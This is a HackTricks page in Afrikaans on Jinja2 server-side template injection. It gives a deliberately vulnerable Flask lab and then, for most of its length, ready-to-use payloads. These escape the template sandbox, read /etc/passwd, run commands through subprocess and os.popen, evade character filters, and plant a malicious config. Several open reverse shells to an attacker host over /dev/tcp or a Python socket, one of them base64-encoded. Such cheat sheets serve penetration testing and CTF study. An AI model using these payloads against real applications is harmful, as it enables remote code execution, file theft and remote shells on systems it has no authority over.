Jinja2 SSTI

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Lab

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"

if __name__ == "__main__":
app.run()

Foutopsporingsverklaring

Indien die Foutopsporingsuitbreiding geaktiveer is, sal 'n debug-tag beskikbaar wees om die huidige konteks sowel as die beskikbare filters en toetse te dump. Dit is nuttig om te sien wat beskikbaar is om in die templaat te gebruik sonder om 'n foutopsporingstool op te stel.

<pre>

{% debug %}





</pre>

Stort alle konfigurasie veranderlikes

{{ config }} #In these object you can find all the configured env variables


{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}


Jinja Injeksie

Eerstens, in 'n Jinja-injeksie moet jy 'n manier vind om uit die sandboks te ontsnap en toegang te herstel tot die normale python-uitvoervloei. Om dit te doen, moet jy voorwerpe misbruik wat uit die nie-sandboksomgewing kom maar toeganklik is vanuit die sandboks.

Toegang tot Globale Voorwerpe

Byvoorbeeld, in die kode render_template("hello.html", username=username, email=email) kom die voorwerpe username en email uit die nie-sandboks python-omgewing en sal binne die sandboks-omgewing toeganklik wees. Verder is daar ander voorwerpe wat altyd toeganklik sal wees vanuit die sandboks-omgewing, dit is:

[]
''
()
dict
config
request

Herstel van <klas 'object'>

Daarna moet ons van hierdie objekte na die klas kom: <klas 'object'> om te probeer om gedefinieerde klasse te herwin. Dit is omdat ons van hierdie objek die __subclasses__ metode kan aanroep en toegang tot al die klasse van die nie-sandboxed Python-omgewing kan kry.

Om toegang tot daardie objek klas te kry, moet jy 'n klasobjek toegang en dan __base__, __mro__()[-1] of .mro()[-1] toegang kry. En dan, nadat ons hierdie objek klas bereik het, roep ons __subclasses__() aan.

Kyk na hierdie voorbeelde:

# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class

# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]

# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}

{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}

# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}



# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}

RCE Ontsnapping

Nadat ons <class 'object'> herstel het en __subclasses__ geroep het, kan ons nou daardie klasse gebruik om lêers te lees en skryf en kode uit te voer.

Die oproep na __subclasses__ het ons die geleentheid gegee om toegang te verkry tot honderde nuwe funksies, ons sal tevrede wees deur net toegang te verkry tot die lêerklas om lêers te lees/skryf of enige klas met toegang tot 'n klas wat opdragte kan uitvoer (soos os).

Lees/Skryf afgeleë lêer

# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}

RCE

# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}

# Without '{{' and '}}'

<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>

# Calling os.popen without guessing the index of the class
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}


## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}

Om meer te leer oor meer klasse wat jy kan gebruik om te ontsnap, kan jy kyk:

pageBypass Python sandboxes

Filter ontduikings

Gewone ontduikings

Hierdie ontduikings sal ons in staat stel om die eienskappe van die voorwerpe **te toegang sonder om van sommige karakters gebruik te maak. Ons het reeds van hierdie ontduikings gesien in die voorbeelde van die vorige, maar laat ons hulle hier opsom:

# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick

## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params

## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

# Using with

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}


Vermy HTML-kodering

Standaard kodeer Flask alle binne 'n sjabloon vir veiligheidsredes:

{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;

Die safe filter stel ons in staat om JavaScript en HTML in die bladsy in te spuit sonder dat dit HTML-gekodeer word, soos hierdie:

{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>

RCE deur 'n bose konfigurasie-lêer te skryf.

# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}

# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}

# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}

Sonder verskeie karakters

Sonder {{ . [ ] }} _

{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}


Jinja-injeksie sonder <klas 'object'>

Vanaf die globale voorwerpe is daar 'n ander manier om RCE te kry sonder om daardie klas te gebruik. As jy daarin slaag om na enige funksie van daardie globale voorwerpe te kom, sal jy toegang hê tot __globals__.__builtins__ en van daar af is die RCE baie eenvoudig.

Jy kan funksies vind vanaf die voorwerpe request, config en enige ander interessante globale voorwerp waar jy toegang tot het met:

{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed

{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__

# You can iterate through children objects to find more

Sodra jy sekere funksies gevind het, kan jy die builtins herstel met:

# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}

# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}

{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}

## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}

# All the bypasses seen in the previous sections are also valid

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated